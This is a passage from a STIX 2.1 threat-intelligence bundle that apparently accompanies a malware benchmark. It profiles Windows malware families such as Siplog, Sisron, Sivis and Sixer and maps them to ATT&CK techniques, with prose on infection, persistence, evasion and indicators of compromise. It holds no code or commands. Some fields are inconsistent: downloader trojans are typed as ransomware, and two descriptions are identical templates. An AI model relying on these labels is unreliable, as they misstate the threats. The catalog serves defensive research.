      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sipia exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--214f97f2-b150-5a46-84a1-b026bf989b8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc447640-8542-552e-8aef-a865b0f58850",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sipia exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb34ab5e-2c48-5476-bae3-51d184de4033",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc447640-8542-552e-8aef-a865b0f58850",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sipia exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3753d995-333e-52c8-9aed-1ad7e8bdf703",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc447640-8542-552e-8aef-a865b0f58850",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sipia exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--badbaf07-9995-5b6f-8d38-96b3ad799cf8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc447640-8542-552e-8aef-a865b0f58850",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sipia exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--66497ee9-1ae6-5064-bdbc-6a479d44f414",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Siplog",
      "description": "Trojan:Win32/Siplog is a specialized Information Stealer designed specifically to target and compromise Voice over IP (VoIP) communications. Its primary objective is to silently monitor network traffic or hook into VoIP client software to capture SIP (Session Initiation Protocol) credentials, call logs, and potentially intercept the audio streams of active phone calls (`T1056`).<br><br><b>Understanding Siplog (VoIP Stealers)</b><br>To an end-user, the infection is completely invisible; their VoIP softphone (like X-Lite, Zoiper, or Skype) continues to function normally. For a security operations center (SOC), Siplog represents a severe breach of confidentiality. Stolen SIP credentials allow attackers to commit 'toll fraud' (routing expensive international calls through the corporate PBX), while intercepted audio can lead to devastating corporate espionage.<br><br><b>Execution and Interception Mechanics</b><br>Siplog is typically deployed as a secondary payload by a more generic dropper. Once active, it utilizes two primary methods. First, it may act as a local packet sniffer (`T1040`), monitoring the network interface for unencrypted SIP traffic (port 5060) to extract plain-text usernames and passwords used during authentication. Second, against encrypted or modern VoIP clients, it may utilize process injection and API hooking (`T1056.001`) to capture credentials directly from the softphone's memory before they are encrypted, or even hook the Windows audio APIs (like `waveInAddBuffer`) to record the actual voice conversation to a hidden `.wav` file for later exfiltration.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from significant financial loss due to toll fraud to the catastrophic compromise of sensitive corporate communications. Host-based IoCs include EDR alerts for anomalous processes loading `wpcap.dll` (WinPcap) to facilitate packet sniffing, or suspicious DLL injection into known VoIP client executables. A critical IoC is the sudden appearance of large, hidden audio files (e.g., `.wav` or `.mp3`) in temporary directories. Network IoCs include the malware attempting to exfiltrate these large files to unknown external FTP or HTTP servers. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Siplog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/siplog"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--335b73a9-6eb6-57bd-88d6-97e138871d4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66497ee9-1ae6-5064-bdbc-6a479d44f414",
      "target_ref": "attack-pattern--1eb20a78-23ea-5df6-b008-396219ebd531",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Siplog exhibits technique T1040 (Network Sniffing (Capturing unencrypted SIP authentication traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04f849ae-c2e4-59e2-a008-03c8900b984f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66497ee9-1ae6-5064-bdbc-6a479d44f414",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Siplog exhibits technique T1056 (Input Capture (Hooking audio APIs to record conversations))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c02364c2-0461-51a0-b59b-63497c46cfd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66497ee9-1ae6-5064-bdbc-6a479d44f414",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Siplog exhibits technique T1005 (Data from Local System (Stealing saved SIP configuration files))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c2c43392-3945-5b35-805d-67352c4b04bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sisbot",
      "description": "Trojan:Win32/Sisbot is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Sisbot</b><br>To an end-user, a Sisbot infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Sisbot is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Sisbot is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Sisbot frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Sisbot reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sisbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sisbot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4bbd2eb-047c-51b9-8c2c-61df212100bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2c43392-3945-5b35-805d-67352c4b04bd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sisbot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d67faa70-8739-5c20-b855-6190830c8c92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2c43392-3945-5b35-805d-67352c4b04bd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sisbot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2de563c7-a8f0-5e39-bf97-670df1f574f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2c43392-3945-5b35-805d-67352c4b04bd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sisbot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa3e70b3-a487-5d5e-9cb3-b34760143ef1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2c43392-3945-5b35-805d-67352c4b04bd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sisbot exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--215a6db9-1372-5280-81eb-71c5d620a57d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2c43392-3945-5b35-805d-67352c4b04bd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sisbot exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2ffadbfd-2729-549d-b3b3-2a43bcaa2f02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Siscos",
      "description": "Siscos (cataloged across security vendors and threat intelligence databases under signatures including Trojan:Win32/Siscos, Trojan.Win32.Siscos, and Win32/Siscos) is a stealthy Windows trojan and payload delivery stager active since 2017. Distributed through bundled software installers, cracked utilities, and malicious email links, Siscos executes multi-stage compromise routines on target endpoints. Upon launch, the malware performs host profiling, drops randomized payloads into %LocalAppData%\\Temp, and establishes startup persistence via Windows Registry Run keys. Once established, Siscos initiates encrypted HTTP/TCP communications with command-and-control servers, enabling remote operators to deploy secondary malware payloads such as ransomware, banking trojans, and credential stealers. (Observed samples in benchmark: 47)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Siscos",
        "Trojan.Win32.Siscos",
        "Win32/Siscos",
        "Trojan:Win32/Siscos!rfn",
        "Siscos Stager"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Siscos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/siscos"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--95f6f884-132d-53d2-9196-b987616b88c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sisron",
      "description": "<h3>Executive Summary</h3>\nSisron is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSisron is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Sisron operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Sisron ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Sisron receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Sisron infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Sisron executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Sisron frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Sisron",
        "Downloader.Sisron",
        "Win32/Sisron"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sisron",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sisron"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97428821-cb87-5ec4-a500-5de0c953244f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95f6f884-132d-53d2-9196-b987616b88c6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sisron exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--764d2888-3829-50a9-be46-3d7361555710",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95f6f884-132d-53d2-9196-b987616b88c6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sisron exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13042440-e6ed-5726-8d19-8e92eb1cd8cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95f6f884-132d-53d2-9196-b987616b88c6",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sisron exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0e10c0db-e39b-5646-a763-ea9c83f3a012",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sivis",
      "description": "Sivis (known across antivirus vendors as Win32.Sivis or W32/Sivis) is a classic Windows PE file infector that first surfaced around 2006. Engineered during the peak era of Windows XP network worms, Sivis systematically searches all local fixed disks, mounted network volumes, and removable storage media for 32-bit executable files (.exe), modifying their header structures to prepend or append malicious viral code.\n\nUpon initial execution, Sivis attempts to neutralize defensive software: it terminates active antivirus and firewall processes, deletes security registry keys, and alters system policies to disable Windows Task Manager (DisableTaskMgr) and Registry Editor (DisableRegistryTools) to prevent administrative remediation. The virus establishes network connections to remote HTTP servers to download rogue software packages and adware while actively scanning internal networks to infect shared executable directories. (Observed samples in benchmark: 7,180)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Sivis",
        "Win32.Sivis",
        "Virus.Win32.Sivis",
        "W32/Sivis"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sivis",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sivis"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert AA20-302A (Top Routinely Exploited Vulnerabilities)"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--539fbee4-62a0-5ead-85d8-801cba02d0fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e10c0db-e39b-5646-a763-ea9c83f3a012",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sivis exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d51f7ef4-7652-565d-8753-e94d810b755a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e10c0db-e39b-5646-a763-ea9c83f3a012",
      "target_ref": "attack-pattern--ed3e1a5f-06b6-507d-9fd6-af71cc9084a3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sivis exhibits technique T1140 (Deobfuscate/Decode Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be8d5c57-7dc7-57ee-9a02-bccadbba479e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e10c0db-e39b-5646-a763-ea9c83f3a012",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sivis exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4cc3745-cd01-54be-89b7-b280666979d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e10c0db-e39b-5646-a763-ea9c83f3a012",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sivis exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03dc9558-df8a-5f90-a792-da1622d31ed5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e10c0db-e39b-5646-a763-ea9c83f3a012",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sivis exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4f21c932-f536-5e5b-9c65-b004c46ff884",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sixer",
      "description": "Sixer (classified in cybersecurity threat databases under designations including Ransom:Win32/Sixer, Trojan-Ransom.Win32.Sixer, and Win32/Sixer) is an evasive crypto-ransomware family designed to execute targeted file encryption across Windows endpoints. Distributed primarily via malicious email attachments, Trojanized freeware archives, and compromised remote access credentials, Sixer incorporates pre-execution evasion checks. It interrogates the system environment for the presence of analysis debuggers (via IsDebuggerPresent and CheckRemoteDebuggerPresent) and active sandbox hooks before deploying its payload. Sixer scans all local fixed disks, removable media, and mapped network drives, identifying high-value files based on an extensive extension list covering documents, databases, spreadsheets, source code, and media archives. It locks targets using AES-256 encryption, appending .sixer to filenames and dropping ransom notes titled READ_SIXER_DECRYPT.txt. Sixer executes administrative shell commands to delete Volume Shadow Copies and disable startup repair. (Observed samples in benchmark: 16)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Sixer",
        "Trojan-Ransom.Win32.Sixer",
        "Win32/Sixer",
        "Sixer Ransomware",
        "Ransom.Sixer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sixer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sixer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f3deb58-e5ad-5a22-b275-48d6c176a8c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f21c932-f536-5e5b-9c65-b004c46ff884",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sixer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc470f48-5784-5e5a-8378-519ce03a87e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f21c932-f536-5e5b-9c65-b004c46ff884",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sixer exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fbdbc20d-da36-5589-9903-b56ababbb9ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f21c932-f536-5e5b-9c65-b004c46ff884",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sixer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f7ee69a-3836-5d62-9830-7b7d06cb0dea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f21c932-f536-5e5b-9c65-b004c46ff884",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sixer exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5550a67a-24dd-50c5-9377-10ad8e409981",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f21c932-f536-5e5b-9c65-b004c46ff884",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sixer exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3b7d9c71-acf2-5197-bc3b-c467cdf2ceca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sixmuch",
      "description": "Trojan:Win32/Sixmuch is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Sixmuch</b><br>To an end-user, a Sixmuch infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Sixmuch is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Sixmuch is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Sixmuch frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Sixmuch reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sixmuch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sixmuch"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d224fd6b-b587-5ede-90a6-6389b4177ed7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b7d9c71-acf2-5197-bc3b-c467cdf2ceca",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sixmuch exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8afaeba0-39b7-54f7-887a-fd385d960c19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b7d9c71-acf2-5197-bc3b-c467cdf2ceca",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sixmuch exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--784c9fe2-f939-5468-9d1b-76d7438b9403",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b7d9c71-acf2-5197-bc3b-c467cdf2ceca",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
